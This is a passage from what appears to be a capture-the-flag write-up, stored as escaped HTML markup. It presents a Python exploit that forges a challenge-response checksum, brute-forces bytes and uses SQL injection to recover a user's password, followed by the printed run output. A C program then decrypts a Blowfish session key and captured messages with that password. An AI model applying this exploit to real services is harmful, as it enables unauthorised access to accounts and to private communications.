    &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;127.0.0.1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2013&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="c1"&gt;# replay authentication request message&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;[+] Sending authentication request, waiting for a challenge ...&amp;#39;&lt;/span&gt;
    &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;010b0000006a6f686e2e6164616d7300247FA819&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;hex&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="c1"&gt;# wait for a message&lt;/span&gt;
    &lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;readMsg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# extract challenge&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;challenge&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;[+] Got challenge: &amp;lt;&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s1"&gt;&amp;gt;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;challenge&lt;/span&gt;
        &lt;span class="n"&gt;answer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;toHex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;challenge&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x03\x09\x00\x00\x00&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;answer&lt;/span&gt;
        &lt;span class="n"&gt;cs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;I&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;[+] Send answer ...&amp;#39;&lt;/span&gt;
        &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;readMsg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mh"&gt;0x14&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mh"&gt;0xD34DB33F&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;cs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mh"&gt;0x7BF239A&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nb"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="mh"&gt;0xFFFFFFFF&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mh"&gt;0x19A87F24&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;cs&lt;/span&gt;

&lt;span class="n"&gt;challenge&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;794a4b635f716e464c584c6d765b7474715e6543&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;hex&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="si"&gt;%c%c%c%s&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;challenge&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mh"&gt;0xE1649BEC&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
                &lt;span class="n"&gt;pwd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="si"&gt;%c%c%c&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="n"&gt;real_pwd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;exploitSqli&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;john.adams&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;pwd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;real_pwd&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;[+] John Adams password: &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;real_pwd&lt;/span&gt;
                    &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Once done, we launched again our exploit against the remote service:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ python exploit.py
[+] Sending authentication request, waiting for a challenge ...
[+] Got challenge: U^WGxQGfsID^AiSpQTcZ
[+] Send answer ...
[+] John Adams password: RbUmJhFG2mZD238_TvdFv0ww1
&lt;/pre&gt;
&lt;p&gt;Here it is, our precious sesame: &lt;em&gt;RbUmJhFG2mZD238_TvdFv0ww1&lt;/em&gt; !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;And now, ladies and gentlemen ...&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;With this password, you may be able to recover the entire conversation between John Adams and his friend. But remember, this conversation is encrypted using a session key, so we first need to decrypt the session key to be able to decrypt the following messages. Session key is sent in the authentication reply by the server, this corresponds to this encrypted data (hexdump):&lt;/p&gt;
&lt;pre class="literal-block"&gt;
b91434faab2512dd3bd7d5a79353554de5fbd9316675694314eb6be6fc41623992e4b9825721de48
&lt;/pre&gt;
&lt;p&gt;This data is composed of 40 bytes (multiple of 8 bytes, since the encryption algorithm used is Blowfish). The password is expanded to a multiple of 8 bytes by the server and then used as a key to encrypt the session key. If you had a look to the imported functions, you'd see that EVP functions are used (provided by OpenSSL). I wrote a little program to decrypt the session key and the messages exchanged using the same functions:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;iostream&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;cstring&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;openssl/evp.h&amp;gt;&lt;/span&gt;

&lt;span class="cm"&gt;/**&lt;/span&gt;
&lt;span class="cm"&gt; * Expanded password&lt;/span&gt;
&lt;span class="cm"&gt; *&lt;/span&gt;
&lt;span class="cm"&gt; * Expansion is performed by cycling around the password&amp;#39;s chars until its size&lt;/span&gt;
&lt;span class="cm"&gt; * is a multiple of 8.&lt;/span&gt;
&lt;span class="cm"&gt; */&lt;/span&gt;
&lt;span class="cp"&gt;#define KEY &amp;quot;RbUmJhFG2mZD238_TvdFv0ww1RbUmJhF&amp;quot;&lt;/span&gt;

&lt;span class="n"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;namespace&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="cm"&gt;/* Raw encrypted messages extracted from the PCAP, without header and checksum */&lt;/span&gt;
&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;talks&lt;/span&gt;&lt;span class="p"&gt;[][&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mh"&gt;0x61&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xf7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xc8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x5d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x96&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x36&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xee&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x33&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x6f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x05&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x23&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x82&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x27&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xf9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xbb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x9a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x0c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xbe&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x3c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x39&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xe9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xac&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xcb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xe9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x98&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xcb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x07&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x58&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x0a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x3f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xe1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x54&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x35&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xeb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xf3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xcc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2f&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mh"&gt;0x5f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xec&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x6c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x9a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x87&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xad&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xdc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xe7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x62&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x76&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x5e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x6c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xf3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x26&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x77&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x91&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mh"&gt;0x05&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xdc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x6b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x04&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x75&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x49&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x5a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x5e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x9b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xf5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x93&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x49&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xaa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xc4&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
